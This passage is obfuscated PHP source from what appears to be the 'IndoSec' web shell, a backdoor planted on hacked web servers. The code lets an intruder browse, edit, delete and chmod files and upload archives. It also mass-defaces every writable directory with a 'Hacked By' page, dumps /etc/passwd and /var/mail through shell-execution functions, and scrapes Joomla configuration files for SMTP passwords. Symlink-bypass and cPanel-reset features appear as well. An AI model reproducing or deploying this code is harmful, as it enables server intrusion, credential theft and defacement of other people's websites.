\xa	\x9\x9<input type='text' name='pass_baru' value='indosec' class='form-control mb-4' placeholder='Set Password'>\xd\xa\x9		<input type='submit' name='hajar' value='Edit User' class='btn btn-danger btn-block'>
\xa\x9	</form>\xd
\x9\x9<p class='text-muted mb-4'>NB: Tools ini work jika dijalankan di dalam folder <u>config</u> ( ex: /home/user/public_html/nama_folder_config )</p>"; } exit; } goto Q1kC3; cNm1V: $ndir = basename($dir); goto Flkqi; hhyOO: foreach ($paths as $id => $pat) { goto ciALZ; ypSZS: echo "">" . $pat . "</a>/"; goto eRqnK; ciALZ: if ($pat == '' && $id == 0) { goto Z9R4D; Z9R4D: $a = true; goto DaQLR; DaQLR: echo "<a href="?dir=/">/</a>"; goto ORBh3; ORBh3: continue; goto G8tgO; G8tgO: } goto rIhYz; rIhYz: if ($pat == '') { continue; } goto hknkG; jqNMF: for ($i = 0; $i <= $id; $i++) { echo "{$paths[$i]}"; if ($i != $id) { echo "/"; } } goto ypSZS; hknkG: echo "<a style="word-wrap:break-word;" href="?dir="; goto jqNMF; eRqnK: } goto hIOPi; hIOPi: $scandir = scandir($path); goto ss2lY; Kt0bP: if ($_GET["aksi"] == "rename") { renameFile($dir, $file, $nfile, $imgfile); } goto QLTzH; A3jfK: if ($_GET["aksi"] == "config") { aksiConfig($dir, $file); } goto GhJRN; o9j8b: if (isset($_GET["file"])) { $file = $_GET["file"]; } goto UGR7W; CEE4C: function aksiBypasswd($dir, $file) { goto dsRSN; yPVKZ: if ($_POST["shexuser"]) { goto Ag6OB; sc2xz: echo shell_exec("{$mail}"); goto zkKNS; zkKNS: echo "</textarea><br>"; goto D_Jqg; Ag6OB: echo "<textarea class='form-control' rows='13'>"; goto sc2xz; D_Jqg: } goto uG8iR; uG8iR: echo "</div>"; goto kL5nY; dsRSN: echo "<div claas="container">\xd\xa		<form method="POST">\xd
\x9		<p class="text-center">Bypass etc/passwd With :</p>
\xa\x9	\x9<div class="d-flex justify-content-center flex-wrap">
	\x9		<input type="submit" class="fiture btn btn-danger btn-sm" value="System Function" name="syst">\xd\xa\x9			<input type="submit" class="fiture btn btn-danger btn-sm" value="Passthru Function" name="passth">
\xa			\x9<input type="submit" class="fiture btn btn-danger btn-sm" value="Exec Function" name="ex">\xd
\x9\x9		<input type="submit" class="fiture btn btn-danger btn-sm" value="Shell_exec Function" name="shex">
\x9\x9	\x9<input type="submit" class="fiture btn btn-danger btn-sm" value="Posix_getpwuid Function" name="melex">\xd\xa\x9	\x9</div><hr/>
\x9		<p class="text-center">Bypass User With :</p>
		\x9<div class="d-flex justify-content-center flex-wrap">\xd\xa\x9		\x9<input type="submit" class="fiture btn btn-warning btn-sm" value="Awk Program" name="awkuser">\xd\xa		\x9\x9<input type="submit" class="fiture btn btn-warning btn-sm" value="System Function" name="systuser">
\xa		\x9\x9<input type="submit" class="fiture btn btn-warning btn-sm" value="Passthru Function" name="passthuser">\x9\xd\xa	\x9	\x9<input type="submit" class="fiture btn btn-warning btn-sm" value="Exec Function" name="exuser">\x9	
\x9	\x9\x9<input type="submit" class="fiture btn btn-warning btn-sm" value="Shell_exec Function" name="shexuser">
\xa\x9	\x9</div>
\xa\x9	</form>"; goto Aw6iH; Aw6iH: $mail = "ls /var/mail"; goto HK5IV; TmEC8: if ($_POST["passthuser"]) { goto vzd6I; j1jpR: echo "</textarea><br>"; goto Ck0oS; P9iBc: echo passthru("{$mail}"); goto j1jpR; vzd6I: echo "<textarea class='form-control' rows='13'>"; goto P9iBc; Ck0oS: } goto ONllC; ztpfj: if ($_POST["shex"]) { goto nW0Su; MJOhS: echo shell_exec("cat {$paswd}"); goto C4ueg; C4ueg: echo "</textarea><br/>"; goto SntWP; nW0Su: echo "<textarea class='form-control' rows='13'>"; goto MJOhS; SntWP: } goto XL78J; XL78J: if ($_POST["melex"]) { goto qoHp3; o6hDT: echo "</textarea><br/>"; goto Dp1Y2; LQfw0: for ($uid = 0; $uid < 6000; $uid++) { $ara = posix_getpwuid($uid); if (!empty($ara)) { while (list($key, $val) = each($ara)) { print "{$val}:"; } print "n"; } } goto o6hDT; qoHp3: echo "<textarea class='form-control' rows='13'>"; goto LQfw0; Dp1Y2: } goto JxV0U; WMs4i: if ($_POST["ex"]) { goto LXuDk; LXuDk: echo "<textarea class='form-control' rows='13'>"; goto OBPGI; hCVIG: echo "</textarea><br/>"; goto Tu_5s; OBPGI: echo exec("cat {$paswd}"); goto hCVIG; Tu_5s: } goto ztpfj; HK5IV: $paswd = "/etc/passwd"; goto MuuLb; v3bth: if ($_POST["systuser"]) { goto HuxQ0; wc5wp: echo "</textarea><br>"; goto w4wBl; hKzOD: echo system("{$mail}"); goto wc5wp; HuxQ0: echo "<textarea class='form-control' rows='13'>"; goto hKzOD; w4wBl: } goto TmEC8; kL5nY: exit; goto iHrDz; MuuLb: if ($_POST["syst"]) { goto QzR7j; m_2D2: echo system("cat {$paswd}"); goto F0zN7; QzR7j: echo "<textarea class='form-control' rows='13'>"; goto m_2D2; F0zN7: echo "</textarea><br/>"; goto CaqSM; CaqSM: } goto JXTVJ; ONllC: if ($_POST["exuser"]) { goto KQHpm; KQHpm: echo "<textarea class='form-control' rows='13'>"; goto cIQ2P; QjX_I: echo "</textarea><br>"; goto zv52t; cIQ2P: echo exec("{$mail}"); goto QjX_I; zv52t: } goto yPVKZ; JXTVJ: if ($_POST["passth"]) { goto niuJd; Kccfw: echo "</textarea><br/>"; goto rduDI; niuJd: echo "<textarea class='form-control' rows='13'>"; goto fQoPp; fQoPp: echo passthru("cat {$paswd}"); goto Kccfw; rduDI: } goto WMs4i; JxV0U: if ($_POST["awkuser"]) { echo "<textarea class='form-control' rows='13'>
	\x9	\x9" . shell_exec("awk -F: '{ print $1 }' {$paswd} | sort") . "\xd
			</textarea><br/>"; } goto v3bth; iHrDz: } goto t4EOb; PRVva: $d0mains = @file("/etc/named.conf", false); goto ecDhJ; UX23f: if ($_GET["aksi"] == "resetpasscp") { resetCp($dir); } goto xBMpg; Pr5dP: function renameFolder($dir, $ndir, $imgfol) { goto XmeVb; Ht5hA: exit; goto z_kwc; XmeVb: echo "[ <a href='?dir=" . $dir . "&aksi=rename_folder' class='active'>Rename</a> ]  [ <a href='?dir=" . $dir . "&aksi=hapus_folder'>Delete</a> ] 
\xa\x9<h5>{$imgfol} Rename Folder : {$ndir} </h5>\xd\xa\x9<form method='POST'>\xd
\x9\x9<input type='text' class='form-control' name='namanew' placeholder='Masukan Nama Baru...' value='{$nama}'><br/>\xd
\x9	<button type='sumbit' class='btn btn-info btn-block' name='ganti'>Ganti!!</button><br/>
\x9</form>"; goto B_aHF; B_aHF: if (isset($_POST["ganti"])) { goto QKLZ5; QKLZ5: $baru = htmlspecialchars($_POST["namanew"]); goto BLWgr; l2jOQ: if ($ubah) { goto U286q; U286q: $swa = "success"; goto x0WzU; x0WzU: $text = "Berhasil Mengganti Nama"; goto xrqe3; YSvaW: swall($swa, $text, $dir); goto gqvgc; xrqe3: $dir = dirname($dir); goto YSvaW; gqvgc: } else { goto HEyMW; HEyMW: $swa = "error"; goto zGZwy; Y8SSk: swall($swa, $text, $dir); goto PnVvq; rJykO: $dir = dirname($dir); goto Y8SSk; zGZwy: $text = "Gagal Mengganti Nama"; goto rJykO; PnVvq: } goto w3UtM; BLWgr: $ubah = rename($dir, '' . dirname($dir) . "/" . $baru . ''); goto l2jOQ; w3UtM: } goto Ht5hA; z_kwc: } goto R6uAn; KB25g: $curl = function_exists("curl_version") ? "<font color=green>ON</font>" : "<font color=red>OFF</font>"; goto ADDCP; jaqPi: @ini_set("error_log", NULL); goto d6UQd; SjvR3: $paths = explode("/", $path); goto hNteG; QWWRl: if ($_GET["aksi"] == "symread") { aksiSymread($dir, $file); } goto yu_yk; dMd6a: @clearstatcache(); goto jaqPi; WUrcF: if ($_GET["aksi"] == "sym_bypas") { symBypass($dir, $file); } goto PlgOz; sZUYH: function aksiMasdef($dir, $file, $imgfol, $imgfile) { goto Cj8PS; Qnj7G: if ($_POST["start"]) { goto na8eB; wcOEU: if ($_POST["tipe"] == "mahal") { tipe_massal($_POST["d_dir"], $_POST["d_file"], $_POST["script"]); } elseif ($_POST["tipe"] == "murah") { tipe_biasa($_POST["d_dir"], $_POST["d_file"], $_POST["script"]); } goto pel2b; na8eB: echo "[ <a href='?dir={$dir}'>Kembali</a> ]
\xa\x9	<textarea class='form-control' rows='13' disabled=''>"; goto wcOEU; pel2b: echo "</textarea><br/>"; goto W88tL; W88tL: } else { echo "<form method='post'>
\xa	\x9\x9<div class='text-center'>\xd
	\x9\x9\x9<h5>Tipe :</h5>
\xa	\x9\x9\x9<input id='toggle-on' class='toggle toggle-left' name='tipe' value='murah' type='radio' checked>
\xa		\x9\x9<label for='toggle-on' class='butn'>Biasa</label>
\xa			\x9<input id='toggle-off' class='toggle toggle-right' name='tipe' value='mahal' type='radio'>
\xa\x9\x9	\x9<label for='toggle-off' class='butn'>Masal</label>\xd\xa\x9	\x9</div> 
		\x9<h5>{$imgfol} Lokasi :</h5>\xd\xa		\x9<input type='text' name='d_dir' value='{$dir}' class='form-control'><br>
\xa			<h5>{$imgfile} Nama File :</h5>\xd
\x9		<input type='text' name='d_file' placeholder='[Ex] index.php' class='form-control'><br/>
\xa\x9\x9	<h5>{$imgfile} Isi File :</h5>\xd\xa	\x9\x9<textarea name='script' class='form-control' rows='13' placeholder='[Ex] Hacked By { IndoSec }'></textarea><br/>\xd\xa			<input type='submit' name='start' value='Mass Deface' class='btn btn-danger btn-block'>\xd\xa		</form>"; } goto xv9qC; kMD_w: function tipe_biasa($dir, $namafile, $isi_script) { if (is_writable($dir)) { $dira = scandir($dir); foreach ($dira as $dirb) { goto KF1Bl; vSkA9: if ($dirb === ".") { file_put_contents($lokasi, $isi_script); } elseif ($dirb === "..") { file_put_contents($lokasi, $isi_script); } else { if (is_dir($dirc)) { if (is_writable($dirc)) { echo "Done > {$dirb}/{$namafile}
"; file_put_contents($lokasi, $isi_script); } } } goto zidlR; zUNmS: $lokasi = $dirc . "/" . $namafile; goto vSkA9; KF1Bl: $dirc = "{$dir}/{$dirb}"; goto zUNmS; zidlR: } } } goto Qnj7G; Cj8PS: function tipe_massal($dir, $namafile, $isi_script) { if (is_writable($dir)) { $dira = scandir($dir); foreach ($dira as $dirb) { goto sZGbD; K6bv8: if ($dirb === ".") { file_put_contents($lokasi, $isi_script); } elseif ($dirb === "..") { file_put_contents($lokasi, $isi_script); } else { if (is_dir($dirc)) { if (is_writable($dirc)) { goto sEhPD; sEhPD: echo "Done > {$lokasi}
"; goto do6Kg; INUxl: $masdef = tipe_massal($dirc, $namafile, $isi_script); goto MNZuO; do6Kg: file_put_contents($lokasi, $isi_script); goto INUxl; MNZuO: } } } goto Svihv; sZGbD: $dirc = "{$dir}/{$dirb}"; goto o_G2N; o_G2N: $lokasi = $dirc . "/" . $namafile; goto K6bv8; Svihv: } } } goto kMD_w; xv9qC: exit; goto USSX5; USSX5: } goto KOm7m; rejeN: if ($_GET["aksi"] == "rename_folder") { renameFolder($dir, $ndir, $imgfol); } goto Ot8UB; rGm1j: $dir = str_replace("\", "/", $dir); goto m95hV; Hn4Nw: function formatSize($bytes) { goto CTgpl; pMDqt: return round($bytes, 2) . " " . $types[$i]; goto lFRk3; KeBLr: for ($i = 0; $bytes >= 1024 && $i < count($types) - 1; $bytes /= 1024, $i++) { } goto pMDqt; CTgpl: $types = array("B", "KB", "MB", "GB", "TB"); goto KeBLr; lFRk3: } goto Cykyt; VrQx0: function chmodFolder($dir, $ndir) { goto j5B61; FovYY: exit; goto vSh5i; j5B61: echo "<form method='POST'>
\x9\x9<h5>Chmod Folder : {$ndir} </h5>\xd
		<div class='form-group input-group'>\xd
\x9\x9\x9<input type='text' name='perm' class='form-control' value='" . substr(sprintf("%o", fileperms($_GET["dir"])), -4) . "'>
		\x9<input type='submit' class='btn btn-danger form-control' value='Chmod' name='chmo'>
		</div>\xd\xa	</form>"; goto X0n9U; X0n9U: if (isset($_POST["chmo"])) { if (@chmod($_GET["dir"], $_POST["perm"])) { echo "<font color="lime">Change Permission Berhasil</font><br/>"; } else { echo "<font color="white">Change Permission Gagal</font><br/>"; } } goto FovYY; vSh5i: } goto vWrZ6; CaV21: function scj($dir) { goto KrU0l; ikVd0: exit; goto mju2m; qGCPJ: echo "<p class='text-muted'>NB : Tools ini work jika dijalankan di dalam folder <u>config</u> ( ex: /home/user/public_html/namafolder_config )</p>"; goto ikVd0; KrU0l: $dirs = scandir($dir); goto pCK4W; pCK4W: foreach ($dirs as $dirb) { goto e0Fbl; apQeE: $ambil = file_get_contents("{$dir}/{$dirb}"); goto SaSnJ; Rx0Nt: if (preg_match("/JConfig|joomla/", $ambil)) { goto gqqCg; pSqup: $smtp_pass = ambilkata($ambil, "smtppass = '", "'"); goto uVy9q; AFKTS: $smtp_secure = ambilkata($ambil, "smtpsecure = '", "'"); goto P1a7x; gqqCg: $smtp_host = ambilkata($ambil, "smtphost = '", "'"); goto BAxPY; uVy9q: $smtp_port = ambilkata($ambil, "smtpport = '", "'"); goto AFKTS; i0nSA: $smtp_user = ambilkata($ambil, "smtpuser = '", "'"); goto pSqup; BAxPY: $smtp_auth = ambilkata($ambil, "smtpauth = '", "'"); goto i0nSA; P1a7x: echo "<table class='text-white table table-bordered'>
\x9\x9	\x9<tr>\xd
\x9				<td>SMTP Host: {$smtp_host}</td>
\xa	\x9\x9\x9</tr>
\xa\x9\x9	\x9<tr>
\xa\x9\x9	\x9	<td>SMTP Port: {$smtp_port}</td>
		\x9\x9</tr>
\xa\x9	\x9	<tr>
\xa	\x9	\x9\x9<td>SMTP User: {$smtp_user}</td>
\x9	\x9	</tr>\xd\xa\x9			<tr>
\x9		\x9	<td>SMTP Pass: {$smtp_pass}</td>
\x9	\x9	</tr>\xd\xa				<tr>
\x9\x9\x9\x9	<td>SMTP Auth: {$smtp_auth}</td>\xd
\x9\x9\x9	</tr>\xd\xa\x9	\x9	<tr>\xd\xa\x9	\x9\x9\x9<td>SMTP Secure: {$smtp_secure}</td>
\x9	\x9\x9</tr>\xd\xa		\x9</table>"; goto xw02J; xw02J: } goto eT4Zi; SaSnJ: $ambil = str_replace("$", '', $ambil); goto Rx0Nt; e0Fbl: if (!is_file("{$dir}/{$dirb}")) { continue; } goto apQeE; eT4Zi: } goto qGCPJ; mju2m: } goto dMaf5; POaEb: function swall($swa, $text, $dir) { echo "<script>Swal.fire({\xd
\x9\x9title: '{$swa}',
\xa\x9	text: '{$text}',\xd\xa\x9	type: '{$swa}',
\xa\x9}).then((value) => {window.location='?dir={$dir}';})</script>"; } goto HPFNR; MGkZQ: $pers = (int) ($free / $total * 100); goto ojXWH; Ot8UB: if ($_GET["aksi"] == "hapus_folder") { deleteFolder($dir, $ndir); } goto JC923; QLTzH: if ($_GET["aksi"] == "hapusf") { hapusFile($dir, $file, $nfile); } goto cNm1V; pxxCU: function zipMenu($dir, $file) { goto KwhaV; legY4: if ($_POST["extrak"]) { $zip = $_POST["file_zip"]; if (Zip_Extrack($zip, $dir)) { goto uljzs; HgX4c: $text = "Berhasil Mengekstrak Zip"; goto CiUFf; uljzs: $swa = "success"; goto HgX4c; CiUFf: swall($swa, $text, $dir); goto eOwxe; eOwxe: } else { echo "<b>Gagal!</b>"; } } goto xhVRW; nv1oI: if ($_POST["backup"]) { $fol = $_POST["folder"]; if (Zip($fol, $_POST["folder"] . "/" . $exzip)) { goto iPONe; fc5ka: $text = "Berhasil Membuat Zip"; goto feE8g; iPONe: $swa = "success"; goto fc5ka; feE8g: swall($swa, $text, $dir); goto LXz9J; LXz9J: } else { echo "<b>Gagal!</b>"; } } goto hVO8_; KeFt3: echo "<div class="card card-body text-dark mb-4">\xd\xa		<h4 class="text-center">Zip Menu</h3>\xd\xa	\x9<form enctype="multipart/form-data" method="post">\xd
		\x9<div class="form-group">
			\x9<label>Zip File:</label>\xd\xa	\x9\x9\x9<div class="custom-file">
\xa\x9\x9		\x9<input type="file" name="zip_file" class="custom-file-input" id="customFile">
\x9	\x9\x9	<label class="custom-file-label" for="customFile">Choose file</label>\xd
				</div>
	\x9\x9\x9<input type="submit" name="upnun" class="btn btn-danger btn-block mt-3" value="Upload & Unzip"/>\xd\xa		\x9</div>
\xa		</form>"; goto saYi2; RztaG: function Zip_Extrack($zip_files, $to_dir) { goto G_8b4; G_8b4: $zip = new ZipArchive(); goto R0rVV; M5D2F: if ($res === TRUE) { goto ToJkA; l0CL3: return @$zip->close(); goto V95_5; ToJkA: $name = basename($zip_files, ".zip") . "_unzip"; goto whgdB; r7GgU: @$zip->extractTo($to_dir . "/" . $name); goto l0CL3; whgdB: @mkdir($name); goto r7GgU; V95_5: } else { return false; } goto G6qn4; R0rVV: $res = $zip->open($zip_files); goto M5D2F; G6qn4: } goto KeFt3; hVO8_: echo "</div>\xd\xa		<div class='col-md-6'><h5>Unzip Manual</h5>
	\x9<form action='' method='post'>\xd
	\x9	<label>Zip Location:</label>
\x9	\x9<input type='text' name='file_zip' class='form-control mb-3' value='{$dir}/{$exzip}'>
\xa	\x9	<input type='submit' name='extrak' class='btn btn-danger btn-block' value='Unzip!'>\xd\xa	\x9</form>"; goto legY4; xhVRW: echo "</div></div></div>"; goto X3tKv; saYi2: if ($_POST["upnun"]) { goto nnNmC; nnNmC: $filename = $_FILES["zip_file"]["name"]; goto yUCIk; yUCIk: $tmp = $_FILES["zip_file"]["tmp_name"]; goto LpgzB; LpgzB: if (move_uploaded_file($tmp, "{$dir}/{$filename}")) { goto ytfLg; ytfLg: echo Zip_Extrack($filename, $dir); goto fCJvV; fCJvV: unlink($filename); goto H3sXy; H3sXy: $swa = "success"; goto SObv_; XCmpd: swall($swa, $text, $dir); goto guVE2; SObv_: $text = "Berhasil Mengekstrak Zip"; goto XCmpd; guVE2: } else { echo "<b>Gagal!</b>"; } goto FxM6O; FxM6O: } goto R_23f; KwhaV: $exzip = basename($dir) . ".zip"; goto oK1ly; R_23f: echo "<div class='row'><div class='col-md-6 mb-3'><h5>Zip Backup</h5>\xd
		<form method='post'>\xd
\x9\x9	<label>Folder</label>
\x9\x9\x9<input type='text' name='folder' class='form-control mb-3' value='{$dir}'>
\xa	\x9	<input type='submit' name='backup' class='btn btn-danger btn-block' value='Backup!'>
\xa\x9	</form>"; goto nv1oI; oK1ly: function Zip($source, $destination) { if (extension_loaded("zip") === true) { if (file_exists($source) === true) { goto AYdCH; ibxDx: return @$zip->close(); goto mhaN1; hVpOA: if ($zip->open($destination, ZIPARCHIVE::CREATE) === true) { $source = realpath($source); if (is_dir($source) === true) { $files = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($source), RecursiveIteratorIterator::SELF_FIRST); foreach ($files as $file) { $file = realpath($file); if (is_dir($file) === true) { } elseif (is_file($file) === true) { $zip->addFromString(str_replace($source . "/", '', $file), file_get_contents($file)); } } } elseif (is_file($source) === true) { $zip->addFromString(basename($source), file_get_contents($source)); } } goto ibxDx; AYdCH: $zip = new ZipArchive(); goto hVpOA; mhaN1: } } return false; } goto RztaG; X3tKv: } goto hxcvI; s9Tx3: $sof = $_SERVER["SERVER_SOFTWARE"]; goto rGm1j; zRAIO: date_default_timezone_set("Asia/Jakarta"); goto dmN97; Ps3EX: $web = $_SERVER["HTTP_HOST"]; goto s9Tx3; pZDoR: $mysql = function_exists("mysql_connect") ? "<font color=green>ON</font>" : "<font color=red>OFF</font>"; goto KB25g; Flkqi: if ($_GET["aksi"] == "chmod_dir") { chmodFolder($dir, $ndir); } goto cx3uU; TLIVZ: if ($_GET["aksi"] == "bypascf") { bypasscf(); } goto TJWJH; J3SOc: foreach ($scandir as $file) { goto GwpMa; CIjmO: $ext = strtolower(pathinfo($file, PATHINFO_EXTENSION)); goto Qh6_7; FrNqh: if (is_writable($path . "/" . $file) || !is_readable($path . "/" . $file)) { echo "</font></a></td>\xd\xa\x9\x9		\x9\x9	<td class="d-flex">
	\x9		\x9\x9	\x9<a title="Lihat" class="badge badge-info" href="?dir=" . $path . "&aksi=view&file=" . $path . "/" . $file . "">&nbsp;<i class="fa fa-eye"></i>&nbsp;</a>&nbsp;&nbsp;\xd\xa		\x9		\x9\x9\x9<a title="Edit" class="badge badge-success" href="?dir=" . $path . "&aksi=edit&file=" . $path . "/" . $file . "">&nbsp;<i class="far fa-edit"></i>&nbsp;</a>&nbsp;&nbsp;\xd
\x9\x9	\x9	\x9\x9	<a title="Rename" class="badge badge-success" href="?dir=" . $path . "&aksi=rename&file=" . $path . "/" . $file . "">&nbsp;<i class="fa fa-pencil"></i>&nbsp;</a>&nbsp;&nbsp;
				\x9\x9\x9\x9<a title="Delete" class="badge badge-danger" href="?dir=" . $path . "&aksi=hapusf&file=" . $path . "/" . $file . "" title="Delete">&nbsp;<i class="fa fa-trash"></i>&nbsp;</a>&nbsp;&nbsp;
\xa\x9\x9\x9\x9\x9			<a title="Download" class="badge badge-primary" href="?&dir=" . $path . "&aksi=download&file=" . $path . "/" . $file . "" title="Download">&nbsp;<i class="fa fa-download"></i>&nbsp;</a>
\xa\x9\x9\x9\x9	\x9	</td>\xd
\x9\x9			\x9</tr>"; } goto aH573; Qh6_7: if ($ext == "php") { echo "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAIAAAACACAMAAAD04JH5AAAAA3NCSVQICAjb4U/gAAAACXBIWXMAAAN2AAADdgF91YLMAAAAGXRFWHRTb2Z0d2FyZQB3d3cuaW5rc2NhcGUub3Jnm+48GgAAAcVQTFRF////4uXnV21+4uXn4uXn4uXnV21+4uXn4uXnwMbLV21+4uXnV21+4uXnV21+WG5/WW+AW3CBXHGCXHKCXXKDXnODXnOEX3SEYHSFYneHZHiIZXmIZXmJZXqJZnqKZ3uKZ3uLan6Na36Oa3+ObH+ObYCPb4GQcYOScoSTdIaUdYeVdoiWd4iWd4mXeouZe4yZe4yafI2afY6bf4+cf5CdgZGegZKegpKfg5OghJWhhpaih5ejiJejiZmkjZynjp2okJ6qk6GslKKtlqSvmaaxmqeynKmzoKu1oK22oa23o6+5pbG6qLO8qbW9rbfArrnBsLe9sLrCsbvDsrm/s73FtL7FtbvBtb7Gtr/HucLJusPKu8TLvcbMvsTJv8XKv8fOwMnPw8vRxMvRxc3Syc7SydDWytHWytHYy9LYzNPZzNPazdHVzdPZztTZz9Xa0tje1Nnc1Nne1dvf1tvf1tzg19zg2N3h2t/j29/h3eHl3eLl4OPl4eXo4uXn4ubp4+bp4+fq5ejr5enr5uns5+rs6Ovt6u3v6+3v7O7w7/Hy7/Hz8/X29PX29fb39vf49vj49/j5+Pn5+vr7+/z8/f39/v7+////csH2mgAAAA50Uk5TAAEaJG5+prK0wObm6vXU4MSnAAADYklEQVR42u3baVfTQBQG4AItRSqpioiKuwiKO7iBuCGLuFHccUFlEWQRFKQojggqqIiCtv29zjSladrQLPdOxg/zfuncOfckz2maNE3PeDxZkufzB4jDrPGAk+MtIs4TAgtyCggkIbDAS4AAoCCvCAyACXwEDgAJ/BgAiCCAAgAICA7AuQAL4FiABnAqwAM4FCACnAkwAY4EqAAnAlyAAwEywL4AG2BbgA6wK8AH2BRwANgT8ADYEnAB2BHwAdgQQAH3oAIooDMEFEABPSGgAAqYvA0UQAFkMAQTgAHkCUwAB5BB0FFAAJDJnk7nZyNBylifcVwDrCZwD7CKwEWAscBNgKHAVYCRwF2AgcBlQKbAbUCGwHVAusB9QJpAAEAvEAHQCYQAUgViACkCQQBNIAqQFAgDrAjEARICgQBVIBIQFwgFMIFYABUIBpAx0QAiAf8hIDe/UOGUsvpRc0DuWoVjtoyaAvIVrqk3BRTyBZSZAhTOkQAJkAAJcAI41aqm8XipNlkc1PWUJF4PXFF7m09vRQMMxZKJjh9MTD5emqvRWsrDkd44qE3rjc3U4QD2x1ITuROfrKbDIa2ng5Zn2duyqGvuLcUA1MX0aWKTl+lgVut5Q8tW+rozrfchFuDvI5buebbR33tNAF2s99nH+CE7gwRYVIfBq1FadJgAytW5cz/peAIXoCj3aRG2BlAu0fFyEBmwI7FRKwDlBy0qkQHKAq32WQS8psV5ZEAJ/RBESlTA3KFk3hsCZmhxDBnQRItPic9AWjIARxl2Iy6gdokWz60BKr/Q8TTSWfAnfn2/MczOwmiNCeAm673WtczGzRyuhO2KCSAlrzhciofXrwA+Fyfz1hjwYRc64NsFddLKd8Gv1nUK2nfBA5a2hsMbFHPAU9Z7q7F6M9L9gP5CZAFQjnxHJAG1dJsLFgHbGGA3MmATvc16kT5ZRXfUrZXttDzBBu9isXn0u+KG2YkjGZPXv45XadX27u9344OT4ZmL8oeJBEiABAABnB9UVoh+VNsi+GH1nn6hj+srWvr7bP9h0YebAdGAEcGAl1NCAQMjU/JfMwmQAAmwDwjw3X+A+5JPk/i5L3o1iY/7st/sKcrjvvA5e7z8l35nTUEO/8Xv2d5/r6X9A5f/r3r++X264/8POy/HplRupU4AAAAASUVORK5CYII="; } elseif ($ext == "html") { echo "data:image/png;base64,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"; } elseif ($ext == "css") { echo 